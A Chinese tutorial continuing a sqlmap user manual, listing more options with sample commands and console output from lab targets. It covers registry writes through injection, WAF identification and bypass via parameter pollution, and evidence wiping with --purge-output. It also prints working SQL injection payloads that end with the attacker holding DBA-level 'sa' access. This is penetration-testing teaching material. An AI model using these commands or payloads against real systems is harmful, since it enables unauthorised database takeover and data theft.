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sqlmap 用户手册(续)

简介: 作者:瞌睡龙@乌云知识库 《sqlmap用户手册》 其实只写了大部分可能用到的参数,还有些并未写,这次补上~ ps:其实看到zone里很多问sqlmap的问题在通读看完那篇文章后都能解决。
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作者:瞌睡龙@乌云知识库

《sqlmap用户手册》 其实只写了大部分可能用到的参数,还有些并未写,这次补上~

ps:其实看到zone里很多问sqlmap的问题在通读看完那篇文章后都能解决。可惜啊,现在的人通读看文章的耐心都没有了,遇到了哪个问题就想起针对这个问题求助,却不知道仔细看完之后,以后可以省多少时间来求助,吐槽完毕,正文开始:

对Windows注册表操作

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。

读取注册表值

参数:–reg-read

写入注册表值

参数:–reg-add

删除注册表值

参数:–reg-del

注册表辅助选项

参数:–reg-key,–reg-value,–reg-data,–reg-type

需要配合之前三个参数使用,例子:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

常规参数

从sqlite中读取session

参数:-s

sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。

保存HTTP(S)日志

参数:-t

这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。

非交互模式

参数:–batch

用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

强制使用字符编码

参数:–charset

不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:

--charset=GBK

爬行网站URL

参数:–crawl

sqlmap可以收集潜在的可能存在漏洞的连接,后门跟的参数是爬行的深度。

例子:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]

规定输出到CSV中的分隔符

参数:–csv-del

当dump保存为CSV格式时(–dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的 如:

--csv-del=";"

DBMS身份验证

参数:–dbms-cred

某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft SQL Server的OPENROWSET函数

定义dump数据的格式

参数:–dump-format

输出的格式可定义为:CSV,HTML,SQLITE

预估完成时间

参数:–eta

可以计算注入数据的剩余时间。

例如Oracle的布尔型盲注:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

[...]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>??????????????????????????????????????????] 11/64??ETA 00:19

然后:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:????'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

sqlmap先输出长度,预计完成时间,显示百分比,输出字符

刷新session文件

参数:–flush-session

如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。

自动获取form表单测试

参数:–forms

如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过–data参数测试。 但是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。

忽略在会话文件中存储的查询结果

参数:–fresh-queries

忽略session文件保存的查询,重新查询。

使用DBMS的hex函数

参数:–hex

有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:

针对PostgreSQL例子:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

[...]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR:??invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[...]

自定义输出的路径

参数:–output-dir

sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–output-dir=/tmp

从响应中获取DBMS的错误信息

参数:–parse-errors

有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors
[...]
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[11:12:17] [INFO] target URL appears to have 3 columns in query
[...]

其他的一些参数

使用参数缩写

参数:-z

有使用参数太长太复杂,可以使用缩写模式。 例如:

python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1" 

可以写成:

python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1" 

还有:

python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1" 

可以写成:

python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

成功SQL注入时警告?

参数:–alert

设定会发的答案

参数:–answers

当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch
[...]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N
[...]

发现SQL注入时发出蜂鸣声

参数:–beep

发现sql注入时,发出蜂鸣声。

启发式检测WAF/IPS/IDS保护

参数:–check-waf

WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试

例如:

&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1

如果有保护的话可能返回结果会不同。

清理sqlmap的UDF(s)和表

参数:–cleanup

清除sqlmap注入时产生的udf与表。

禁用彩色输出

参数:–desable-coloring

sqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。

使用指定的Google结果页面

参数:–gpage

默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。

使用HTTP参数污染

参数:-hpp

HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。

测试WAF/IPS/IDS保护

参数:–identify-waf

sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。

例如对一个受到ModSecurity WAF保护的MySQL例子:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
[...]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')
[...]

模仿智能手机

参数:–mobile

有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。

例如:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]

安全的删除output目录的文件

参数:–purge-output

有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。

例如:

$ python sqlmap.py --purge-output -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]

启发式判断注入

参数:–smart

有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。

例子:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable 
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable 
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[...]

初级用户向导参数

参数:–wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。

$ python sqlmap.py --wizard

????sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:25:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1
POST data (--data) [Enter for None]: 
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
> 1

sqlmap is running, please wait..

heuristic (parsing) test showed that the back-end DBMS could be 'Microsoft SQL Server'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'Microsoft SQL Server' extending provided level (1) and risk (1)? [Y/n] Y
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requests:
---
Place: GET
Parameter: id
????Type: boolean-based blind
????Title: AND boolean-based blind - WHERE or HAVING clause
????Payload: id=1 AND 2986=2986

????Type: error-based
????Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
????Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))

????Type: UNION query
????Title: Generic UNION query (NULL) - 3 columns
????Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)-- 

????Type: stacked queries
????Title: Microsoft SQL Server/Sybase stacked queries
????Payload: id=1; WAITFOR DELAY '0:0:5'--

????Type: AND/OR time-based blind
????Title: Microsoft SQL Server/Sybase time-based blind
????Payload: id=1 WAITFOR DELAY '0:0:5'--

????Type: inline query
????Title: Microsoft SQL Server/Sybase inline queries
????Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))
---
web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:
---
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
????Oct 14 2005 00:33:37 
????Copyright (c) 1988-2005 Microsoft Corporation
????Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)
---
current user:????'sa'
current database:????'testdb'
current user is DBA:????True

[*] shutting down at 11:25:52

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